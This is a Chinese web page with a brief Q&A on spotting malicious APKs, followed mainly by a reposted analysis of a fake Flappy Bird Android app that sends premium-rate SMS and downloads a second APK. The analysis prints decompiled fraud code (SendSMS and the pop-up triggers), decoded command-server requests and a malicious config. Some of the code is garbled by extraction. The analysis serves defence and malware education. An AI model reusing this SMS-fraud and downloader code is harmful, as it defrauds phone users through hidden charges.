如何检查恶意apk下载_百度知道
如何检查恶意apk下载
我有更好的答案
按默认排序
安装安全卫士之类的手机软件(像360手机卫士,安卓手机卫士),安装之后就会有提示
其他类似问题
apk的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁你的位置： >
> Flappy Bird 恶意程序的详细分析
0×00 背景
Flappy Bird是在年初的时候非常火爆的一个小游戏，但是后来作者在日将其在Apple与Google商店下架，因为这游戏太容易让人上瘾了。
这时候就有很多恶意的Flappy Bird软件在商店上冒出来。
捕获到一个恶意版本的Flappy Bird可以在用户没有察觉的情况下发送短信。
App MD5：6c357ac34d061c97efe003
所使用的工具：
DroidBox 一个动态分析工具，他为我们展示了一个程序运行时具体在做什么Android Emulator 包含在 Android SDK - 用来模拟运行APK文件
dex2jar - 反编译可执行文件 (.dex/.odex) 输出 .jar 文件
JD-GUI 显示 jar 文件java源代码的GUI工具
本次分析分为两个部分：
动态分析 静态分析
在动态分析截断，我们会让app在模拟环境中运行，看看他访问哪些文件和网站，这个是我们在静态分析中寻找相关代码的关键。
在静态分析截断，我们会逆向APK文件出源代码，这让我们能从源代码中找出恶意行为发生的原因。
0×01 动态分析
使用的最主要的工具就是DroidBox。
我在Linux Ubuntu上装了测试，没有发现什么问题。
安装DroidBox之前你需要安装Python包括pylab跟matplotlib库。
Python安装之后需要在 /sdk/index.html 下载安装Android SDK
在终端下输入下面两条命令来导入SDK的路径，这样我们在任何目录可以直接使用SDK相关命令。
export PATH=$PATH:/path/to/android-sdk/tools/
export PATH=$PATH:/path/to/android-sdk/platform-tools/
下载最新的DroidBox：
wget /files/DroidBox411RC.tar.gz
解压缩进入目录：
tar -zxvf DroidBox411RC.tar.gz
cd DroidBox411RC
现在我们可以建立一个Android虚拟主机创建一个Android Nexus4的设备运行Android 4.2.1版本。
进入DroidBox目录，运行Android模拟器
./startemu.sh &AVD name&
等待启动完之后，安装运行Flappy Bird：
./droidbox.sh flappy-bird.apk
你将在终端看到：
\_\ \ \ \L\ \
\ \ \ \ \/\`'__\ __`\/\ \
_ &' / __`\/\ \/'\
\ \ \_\ \ \ \/\ \L\ \ \ \/\ \L\ \ \ \L\ \ \L\ \/&
\ \____/\ \_\ \____/\ \_\ \___,_\ \____/ \____//\_/\_\
\/_/\/___/
\/_/\/__,_ /\/___/ \/___/ \//\/_/
Waiting for the device...
Installing the application flappy-bird.apk...
Running the component com.hdc.bookmark3934/com.hdc.mlink_x5.MainActivity...
Starting the activity com.hdc.mlink_x5.MainActivity...
Application started
Analyzing the application during infinite time seconds...
[-] Collected 13 sandbox logs (Ctrl-C to view logs)
在虚拟窗口，你应该能看到Flappy Bird的运行，DroidBox也在记录了Flappy Bird的日志，按 Ctrl-C停止DroidBox然后查看日志。
DroidBox输出的日志是JSOn格式的，下面是一个其中一些日志：
"apkName": "flappy-bird.apk",
"enfperm": [
"recvnet": {
"2.492": {
"data": "2e4f4b0d0a3a206ea23a0d0a436f6e46d6c3b65",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
"2.3154": {
"data": "0a436f6e6ee3a206bca582d506fd502f352e332e330d0af6f6b443df",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
"2.3428": {
"data": "742d456e636fa436f6e6e636f677ad0a1f8bff16ccdd302cd300d0a50",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
"3.204": {
"data": "436f6ea206d3d0d0a2d3a0d0a0d0affd8ffeffdbc140d0c0b0b0c",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
"13.217": {
"data": "2e4f4b0d0a23a0d0a2d3a0d0a436f6e6ee3a204bca",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
"11.579": {
"data": "0a0d0a504bdde462f4d414ee4d46fecada5a12dd3bc2ffeadc2aae4eb9b67bbbbfdca",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
"2.4854": {
"data": "742c23a0d0a436f6e6ee3a206bcaa733acd",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
"2.4316": {
"data": "2e4f4b0d0a3a206ea23a0d0a436f6e96daa436f6e7465",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
"11.587": {
"data": "2e4f4b0d0a23a0d0a2d3a0d0a436f6e6ee3a204bca",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
"11.058": {
"data": "cd6f3aa0d0a436f6ee2f766e642e616ee8",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
"14.919": {
"data": "0a0d0a504bdde462f4d414ee4d46fecada5a12dd3bc2ffeadc2aae4eb9b67bbbbfdca",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
"13.777": {
"data": "cd6f3aa0d0a436f6ee2f766e642e616ee8",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
"2.3184": {
"data": "a0d0ad436f6ea206e6f2dc206e6f2dc206d06f636b3d302cd300d0a50",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
"servicestart": {
"sendsms": {
"7.957": {
"message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc4",
"type": "sms",
"number": "7740"
"10.828": {
"message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc4",
"type": "sms",
"number": "7740"
"cryptousage": {
"sendnet": {
"1.3486": {
"type": "net write",
"desthost": "210.***.***.195",
"fd": "16",
"operation": "send",
"data": "6f6f6b6d53fd2e310d0ab2f312e362eebf2e31",
"destport": "80"
"2.5234": {
"type": "net write",
"desthost": "210.***.***.195",
"fd": "19",
"operation": "send",
"data": "706c6ff6b6dc2e6a502f312e310d0ab2f312e362eebfe",
"destport": "80"
"11.459": {
"type": "net write",
"desthost": "210.***.**.196",
"fd": "26",
"operation": "send",
"data": "06bf312e310d0ab2f312e362eebf2e313bcfe20456d75",
"destport": "80"
"13.392": {
"type": "net write",
"desthost": "210.***.**.196",
"fd": "28",
"operation": "send",
"data": "06bf312e310d0ab2f312e362eebf2e313bcfe20456d75",
"destport": "80"
"accessedfiles": {
"": "/proc/1188/cmdline",
"": "/data/data/com.hdc.bookmark3934/app_mytime/checktime.txt",
"": "/proc/1163/cmdline",
"": "/proc/1174/cmdline"
"fdaccess": {
"4.162": {
"path": "/proc/1163/cmdline",
"operation": "read",
"data": "636f6d2ef6f6b6d6c06b72",
"type": "file read"
"path": "/proc/1174/cmdline",
"operation": "read",
"data": "6c6f726fa696b766d3a6e702f666c06b72",
"type": "file read"
"15.31": {
"path": "/proc/1188/cmdline",
"operation": "read",
"data": "636f6d2e616ee06b72",
"type": "file read"
"10.151": {
"path": "/data/data/com.hdc.bookmark3934/app_mytime/checktime.txt",
"operation": "write",
"data": "e6b5f7835",
"type": "file write"
"dataleaks": {
"opennet": {
"1.456": {
"desthost": "210.***.***.195",
"fd": "16",
"destport": "80"
"2.574": {
"desthost": "210.***.***.195",
"fd": "19",
"destport": "80"
"12.454": {
"desthost": "210.***.**.196",
"fd": "28",
"destport": "80"
"10.917": {
"desthost": "210.***.**.196",
"fd": "26",
"destport": "80"
"recvsaction": {
"vn.adflex.sdk.AdFlexBootUpReceiver": "android.intent.action.PACKAGE_RESTARTED"
"dexclass": {
"0.38965": {
"path": "/data/app/com.hdc.bookmark3934-1.apk",
"type": "dexload"
"15.903": {
"path": "/system/app/PackageInstaller.apk",
"type": "dexload"
"hashes": [
"6c357ac34d061c97efe003",
"79e911f1b3c0f1ccdfdff548d54b3f",
"98dbcfa1c73efeeec9ecd5"
"closenet": {
"phonecalls": {
隐藏了部分敏感信息，日志其中最明显的是发送了两条短信。
"sendsms": {
"7.957": {
"message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc4",
"type": "sms",
"number": "7740"
"10.828": {
"message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc4",
"type": "sms",
"number": "7740"
把BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc4发送到号码7740那里。
根据下面的日志可以得出：
"sendnet": {
"1.3486": {
"type": "net write",
"desthost": "210.***.***.195",
"fd": "16",
"operation": "send",
"data": "6f6f6b6d53fd2e310d0ab2f312e362eebf2e31",
"destport": "80"
该app访问了210. . .195这个ip，发送了如下数据：
6f6f6b6d53fd2e310d0ab2f312e362eebf2e31
数据是16进制编码的，转为ASCII：
GET /bookmark/getServiceCode?price=15000 HTTP/1.1
User-Agent: Dalvik/1.6.0 (L U; Android 4.1.1
所以这个app访问URL http://210. . .195/bookmark/getServiceCode?price=15000，那么返回值是什么呢？返回值为 7740 ，也就是发送短信过去的号码。
尝试了一下修改不容的price的值，返回的结果不同：
price=20000 returns 7040
price=30000 returns 7040
price=10000 returns 7640
price=5000 returns 7540
price=1000 returns 7040
根据波兰网站 http://www.ilekosztujesms.pl/07540/ 显示，往该号码发送短信将花费5波兰罗提（差不多相当于10人民币）。
还有个奇怪的东西：
"2.5234": {
"type": "net write",
"desthost": "210.***.***.195",
"fd": "19",
"operation": "send",
"data": "706c6ff6b6dc2e6a502f312e310d0ab2f312e362eebfe",
"destport": "80"
解码出来之后看到数据包为：
GET /upload/bookmark//flappy_1.jpg HTTP/1.1
User-Agent: Dalvik/1.6.0 (L U; Android 4.
这个我们稍后在静待分析阶段分析。
总结：我们现在知道了Flappy Bird连接到哪些网站，给付费号码发送短信，并且可以根据接口返回不同发向不同的付费号码。因此可以推测，这个恶意app通过此来赚钱。
但是210.* . .196这个IP是做什么的呢？
"11.459": {
"type": "net write",
"desthost": "210.***.**.196",
"fd": "26",
"operation": "send",
"data": "06bf312e310d0ab2f312e362eebf2e313bcfe20456d75",
"destport": "80"
解码后显示访问地址为
http://210.***.**.196/app/flappy.apk
上面数据表明，改程序正在下载另一个APK：flappy.apk。
或许我们的Flappy Bird只是一个下载者。
这样我们就知道app做了什么了：
发送短信扣费。
下载其他的Flappy Bird。
根据这些信息，我们来静态分析定位其中相关的源代码。
0×02 静态分析
静态分析需要两个工具， dex2jar 和 JD-GUI 。
第一步就是把APK文件反编译为Java代码。
开始之前我们来看一下APK文件的解构：
META-INF: 文件夹 lib: 编译后的代码目录 res: APK所需要的资源文件夹 assets: 应用程序资源目录 AndroidManifest.xml: 一个传统的Android清单文件，用于描述该应用程序的名字、版本号、所需权限、注册的服务、链接的其他应用程序。 classes.dex: classes文件通过DEX编译后的文件格式，用于在Dalvik虚拟机上运行的主要代码部分。 resources.arsc: 预编译文件
所以我们最感兴趣的文件为 classes.dex ，我们希望把classes.dex文件转为jar文件，这可以通过dex2jar来完成：
先从 /p/dex2jar/downloads/list 下载解压dex2jar。
unzip -x dex2jar-version.zip -d /home/user/dex2jar
一旦解压之后，就可以使用反编译APK文件了：
sh /home/user/dex2jar-version/d2j-dex2jar.sh /home/user/flappy-bird.apk
将会生成一个可以使用JD-GUI打开的jar文件。
从http://jd.benow.ca/#jd-gui-download enter link description here 下载并解压JD-GUI。
tar -zxvf jd-gui-version.linux.i686.tar.gz
运行打开JD-GUI载入Flappy Bird的jar文件，看到内容如下：
寻找左边的类文件列表，其中有一个在utilities包下的SendSMS类，看起来很像是一个发送短信的类。
SendSMS.class
package com.hdc.
import android.app.PendingI
import android.content.BroadcastR
import android.content.C
import android.content.I
import android.content.IntentF
import android.telephony.SmsM
import android.util.L
import android.widget.T
public class SendSMS
public static S
public static String dauso_
public static String dauso_x;
public static void send(String paramString1, String paramString2, Context paramContext, String paramString3, int paramInt, String paramString4)
address = paramString2.trim();
discount = paramI
dauso_x = paramString3;
dauso_last = paramString4;
new Thread(new Runnable(paramContext, paramString1)
public void run()
PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_SENT"), 0);
PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_DELIVERED"), 0);
SmsManager localSmsManager = SmsManager.getDefault();
SendSMS.this.registerReceiver(new BroadcastReceiver(SendSMS.this, this.val$data)
public void onReceive(Context paramContext, Intent paramIntent)
switch (getResultCode())
Toast.makeText(this.val$instance, "G?i thành c?ng", 0).show();
Log.i("dau so: " + SendSMS.dauso_x, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last);
SendSMS.discount = -1 + SendSMS.
while (SendSMS.discount & 0);
Toast.makeText(this.val$instance, "G?i ko ???c", 0).show();
Log.i("dau so: " + SendSMS.dauso_x, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last);
SendSMS.send(this.val$data, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last, this.val$instance, SendSMS.dauso_x, SendSMS.discount, SendSMS.dauso_last);
, new IntentFilter("SMS_SENT"));
localSmsManager.sendTextMessage(SendSMS.address, null, this.val$data, localPendingIntent1, localPendingIntent2);
catch (Exception localException)
localException.printStackTrace();
}).start();
下面这段代码负责发送短信：
localSmsManager.sendTextMessage(SendSMS.address, null, this.val$data, localPendingIntent1, localPendingIntent2);
这两段代码是隐藏短信发送与到达通知：
PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_SENT"), 0);
PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_DELIVERED"), 0);
sendTextMessage方法是Android其中一个API（参阅android.telephony.gsm.SmsManager ）。
根据这个，我们可以明确的知道程序发送短信以及隐藏相关操作的代码。
下一个问题就是，这个短信是什么时候发送的呢，是由用户触发的还是其他的呢？
来看一下 MainActivity.class 文件：
MainActivity.class: Global Variables Snippet
public String pop_up1 = "B?ng cách cài ??t và s? d?ng trò ch?i, ph?n m?m này, b?n ???c coi nh? ?? ch?p nh?n các ?i?u kho?n s? d?ng d??i ??y c?a chúng t?i: \n1. Kh?ng g? b? ho?c v? hi?u hóa b?t k? bi?n pháp b?o v?, quy?n s? h?u hay b?n quy?n có trên ho?c trong trò ch?i, ph?n m?m \n2. Kh?ng t?o ra các b?n sao b?t ch??c các tính n?ng ho?c giao di?n, d? li?u c?a trò ch?i, ph?n m?m này.\n3. Kh?ng s? d?ng trò ch?i, ph?n m?m này làm c?ng c? ?? g?y h?i cho nh?ng ng??i dùng khác.\n4. S?n ph?m có phí và b?n c?n thanh toán ?? ti?p t?c s? d?ng sau th?i gian dùng th?.\n5. Phí s? d?ng s?n ph?m t? 15.000 ? ??n 30.000 ?.";
public String pop_up2 = "
B?n có mu?n kích ho?t kh?ng?";
这两个字符串都为越南文，根据google翻译：
pop_up1：“通过安装和使用游戏，软件，你将被视为已接受了我们的使用下面的条款： 不要删除或禁用任何防护措施，或在游戏中所有权或著作权，软件。 不要创建重复或模仿界面功能，游戏数据，此软件。 不要使用游戏，软件作为一种工具来造成危害其他用户。 我们的产品是免费的，你需要付费才能继续试用期后使用。 收费使用的产品从15,000越盾30,000越盾。“ pop_up2：“你想要激活吗”
这些看起来像标准条款和条件，只是Flappy Bird是一个免费的应用程序，所以不应该花费。有趣的是在15000的花费与上面访问的URL应该是一样的：http://210. ..195/bookmark/getServiceCode?price=15000）。
后来在 MainActivity.class 文件的 initListView 中找到产生这些对话伴并随着一些发送短信动作代码。下面是从类文件中的代码摘录：
MainActivity.class: Code Extract
while (Service_mLink.number_send == 1)
openPop_up(this.pop_up1, Service_mLink.number_send, 1);
this.listView.setOnItemClickListener(new AdapterView.OnItemClickListener()
public void onItemClick(AdapterView&?& paramAdapterView, View paramView, int paramInt, long paramLong)
Integer localInteger = Integer.valueOf(0);
MainActivity.linkInfo = new LinkInfo();
MainActivity.linkInfo = (LinkInfo)Service_mLink.instance.listLinkInfo.get(paramInt);
MainActivity.this.link = MainActivity.linkInfo.getLink();
MainActivity.this.mo = MainActivity.linkInfo.getMo();
MainActivity.this.servicecode = Service_mLink.svcodeA
MainActivity.this.servicecode2 = MainActivity.linkInfo.getServicecode2();
if (localInteger.intValue() == 0)
MainActivity.this.isFirstTime = FileManager.loadFtime(MainActivity.this, MainActivity.this.ftime);
while ((MainActivity.this.servicecode.equals("")) && (MainActivity.this.servicecode2.equals("")))
Log.e("servicecodeAll", MainActivity.this.servicecode + "sv : sv2" + MainActivity.this.servicecode2);
MainActivity.DownloadFileFromURL localDownloadFileFromURL = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString = new String[2];
arrayOfString[0] = MainActivity.this.
arrayOfString[1] = MainActivity.linkInfo.getTitle();
localDownloadFileFromURL.execute(arrayOfString);
Integer.valueOf(1 + localInteger.intValue());
if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
MainActivity.this.checkSVCode(MainActivity.this.servicecode2);
while (true)
AlertDialog.Builder localBuilder = new AlertDialog.Builder(MainActivity.this);
TextView localTextView = new TextView(MainActivity.this);
localTextView.setText(MainActivity.this.txt_content);
localTextView.setGravity(1);
localTextView.setTextColor(Color.parseColor("#ffffff"));
localBuilder.setView(localTextView);
localBuilder.setPositiveButton("Ok", new DialogInterface.OnClickListener()
public void onClick(DialogInterface paramDialogInterface, int paramInt)
if (Service_mLink.instance.isSim)
MainActivity.this.checkInternet();
if (MainActivity.this.isConnect)
if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
while (true)
Toast.makeText(MainActivity.this.getApplicationContext(), "Ca?m ?n ba?n ?a? s?? du?ng di?ch vu?", 1000).show();
Thread.sleep(1000L);
paramDialogInterface.cancel();
MainActivity.DownloadFileFromURL localDownloadFileFromURL = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString = new String[2];
arrayOfString[0] = MainActivity.this.
arrayOfString[1] = MainActivity.linkInfo.getTitle();
localDownloadFileFromURL.execute(arrayOfString);
SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
catch (InterruptedException localInterruptedException)
while (true)
localInterruptedException.printStackTrace();
AlertDialog.Builder localBuilder = new AlertDialog.Builder(MainActivity.this);
localBuilder.create();
localBuilder.setTitle("Th?ng báo");
localBuilder.setMessage("B?n vui lòng ki?m tra k?t n?i Internet !!!");
localBuilder.show();
Toast.makeText(MainActivity.this, "B?n ?? kh?ng có Sim ?i?n tho?i.\n B?n kh?ng th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
localBuilder.setNegativeButton("Cancel", new DialogInterface.OnClickListener()
public void onClick(DialogInterface paramDialogInterface, int paramInt)
paramDialogInterface.cancel();
localBuilder.show();
MainActivity.this.checkSVCode(MainActivity.this.servicecode);
label249: checkSVCode(Service_mLink.svcodeActive);
看起来一旦用户点击了“确定”，就将会发送短信，代码中一共包含两个
SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
但是第二个是在return的后面，也就意味着不会执行，但是为什么动态分析当中看到了两次发送短信呢？
上面代码中的第三行调用了 openPop_up 方法，来看看其中的代码：
MainMethod.class: method openPop_up
public void openPop_up(String paramString, int paramInt1, int paramInt2)
AlertDialog.Builder localBuilder = new AlertDialog.Builder(this);
View localView = LayoutInflater.from(this).inflate(, null);
this.tvlaw = ((TextView)localView.findViewById());
this.tvlaw.setText(paramString);
this.tvlaw.setTextColor(-1);
if (paramInt2 == 1)
localBuilder.setTitle("?i?u kho?n s? d?ng");
localBuilder.setView(localView);
localBuilder.setPositiveButton("Ok", new DialogInterface.OnClickListener(paramInt2, paramInt1)
public void onClick(DialogInterface paramDialogInterface, int paramInt)
if (Service_mLink.instance.isSim)
if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
Log.i("i", this.val$i);
if (Service_mLink.instance.listLinkInfo.size() != 1)
break label345;
if ((this.val$number_send == 1) && (this.val$i == 1))
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
MainActivity.DownloadFileFromURL localDownloadFileFromURL2 = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString2 = new String[2];
arrayOfString2[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
arrayOfString2[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
localDownloadFileFromURL2.execute(arrayOfString2);
if ((this.val$number_send == 2) && (this.val$i == 2))
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
MainActivity.DownloadFileFromURL localDownloadFileFromURL1 = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString1 = new String[2];
arrayOfString1[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
arrayOfString1[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
localDownloadFileFromURL1.execute(arrayOfString1);
while (true)
paramDialogInterface.cancel();
SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
label345: if ((this.val$number_send == 1) && (this.val$i == 1))
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
if ((this.val$number_send != 2) || (this.val$i != 2))
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
Toast.makeText(MainActivity.this, "B?n ?? kh?ng có Sim ?i?n tho?i.\n B?n kh?ng th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
localBuilder.setNegativeButton("Cancel", new DialogInterface.OnClickListener(paramInt2, paramInt1)
public void onClick(DialogInterface paramDialogInterface, int paramInt)
if (this.val$i == 1)
MainActivity.this.auto_sms = DownloadImage.instance.getAuto_sms2(Service_mLink.url_config_auto_sms);
Log.i("auto_sms", MainActivity.this.auto_sms);
if (Service_mLink.instance.isSim)
boolean bool = MainActivity.this.auto_sms.equals("1");
int i = 0;
if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
Log.i("i", this.val$i);
if (Service_mLink.instance.listLinkInfo.size() != 1)
break label450;
if ((this.val$number_send == 1) && (this.val$i == 1))
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
MainActivity.DownloadFileFromURL localDownloadFileFromURL2 = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString2 = new String[2];
arrayOfString2[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
arrayOfString2[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
localDownloadFileFromURL2.execute(arrayOfString2);
if ((this.val$number_send == 2) && (this.val$i == 2))
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
MainActivity.DownloadFileFromURL localDownloadFileFromURL1 = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString1 = new String[2];
arrayOfString1[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
arrayOfString1[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
localDownloadFileFromURL1.execute(arrayOfString1);
paramDialogInterface.cancel();
if (i == 0)
if (!Service_mLink.link_redirect.equals(""))
MainActivity.this.startWebsite(Service_mLink.link_redirect);
System.exit(1);
catch (Exception localException)
while (true)
MainActivity.this.auto_sms = "0";
SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
label450: if ((this.val$number_send == 1) && (this.val$i == 1))
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
if ((this.val$number_send != 2) || (this.val$i != 2))
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
Toast.makeText(MainActivity.this, "B?n ?? kh?ng có Sim ?i?n tho?i.\n B?n kh?ng th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
paramDialogInterface.cancel();
if (!Service_mLink.link_redirect.equals(""))
MainActivity.this.startWebsite(Service_mLink.link_redirect);
System.exit(1);
localBuilder.show();
因此，在创建弹出对话时，该方法触发了发送短信，这可以解释为什么我们的动态分析时，发出了两个短信。
现在还有个问题就是没有看到短信从哪里发送的，没有看到短信的号码，短信内容，以及访问的URL是在哪里定义的。
在app的源代码中找到了一些线索，如何解码一个配置文件内容，特别是一个叫getInfoFromFile 方法。
MainActivity.class: getInfoFromFile()
private void getInfoFromFile()
new ArrayList();
ArrayList localArrayList = FileManager.loadfileExternalStorage(this, );
this.strDecode = new String(Base64.decode(((String)localArrayList.get(0)).toString()));
Service_mLink.instance.getCategory(this.strDecode);
this.have_img = readImage();
this.isFirstTime = FileManager.loadFtime(this, this.ftime);
catch (Exception localException)
localException.printStackTrace();
可以看到其功能为读取文件base64解码处理。
仔细查看APK文件，在res目录下有一个drawable-hdpi的目录，在这个目录下有一个config文件，为base64编码的。
解码config文件:
"sv_code_active": "7740",
"sv_code_active_2": "7740",
"mo_active": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc4",
"bm_name": "Flappy bird",
"header_color": "#1E8CBE",
"background_color": "#F0F0F0",
"font_header_color": "#F0F0F0",
"font_item_color": "#333333",
"number_send": "2",
"type_display": "1",
"include_sdk": "0",
"link_redirect": "http://choi****game.cu****h.mobi",
"items": [
"serviceCode": "7740",
"serviceCode2": "7740",
"mo": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc4",
"title": "Flappy bird",
"link_icon": "http://cu****h.mobi/upload/bookmark//flappy_1.jpg",
"link": "http://andr****ot.net/app/flappy.apk"
"url_config_auto_sms": "http://cu****h.mobi/bookmark/getConfigSendSMS",
"url_get_sv_code": "http://cuc****.mobi/bookmark/getServiceCode?price=15000"
到此基本都了解到了，进一步看了flappy.apk文件看看具体是做什么的，好像也只是个发送短信扣费的应用。
0×03 总结
事实证明，这个Flappy Bird是一个恶意应用，发送付费短信，并会下载其他恶意的应用。
转载请注明： &
与本文相关的文章